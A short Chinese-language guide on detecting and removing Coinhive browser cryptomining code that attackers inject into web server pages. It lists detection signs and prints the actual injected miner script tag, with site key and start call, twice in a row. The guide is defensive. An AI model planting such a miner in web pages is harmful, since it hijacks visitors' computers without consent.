web服务器端挖矿代码攻击的错误检测及排除
a)挖矿代码简要阐述:
网页中嵌入Javascript, 一旦用户打开该网站,浏览器便会按照脚本的指令变成一个门罗币挖矿机。这一段附加的挖矿代码通常因为大量占用CPU,使用户的计算机变得异常卡顿甚至无法正常使用。这样的网站会嵌入了Coinhive JavaScript Miner代码。该代码是基于CryptoNight挖矿算法编写,该算法可以产出CryptoNote类网络货币,如Monero(门罗币)、Dashcoin(达世币),DarkNetCoin(暗网币)等。而嵌入的这个Coinhive JavaScript Miner则仅支持门罗币的挖矿。
b)挖矿源代码:
c)检查方式:
- 打开网页后发现CPU突然急速运转。
- 打开网页源码看网址开头是否有重定向到 https://coinhive.com/lib/coinhive.min.js 的相关的代码
- 从网页下载文件后发现文件开头多了一段如下所示的源代码:(大致意思是挖取门罗币)
<script src='https://coinhive.com/lib/coinhive.min.js'></script> <script> var miner = new CoinHive.Anonymous('9KNyPFbDqJesaSxBLcQoJZX6PgXN1ld0',{throttle: 0.5}); miner.start(); </script><script src='https://coinhive.com/lib/coinhive.min.js'></script> <script> var miner = new CoinHive.Anonymous('9KNyPFbDqJesaSxBLcQoJZX6PgXN1ld0',{throttle: 0.5}); miner.start(); </script>
d)错误解决:
在被篡改的web服务器端相应的源码中删去被恶意添加的代码即可。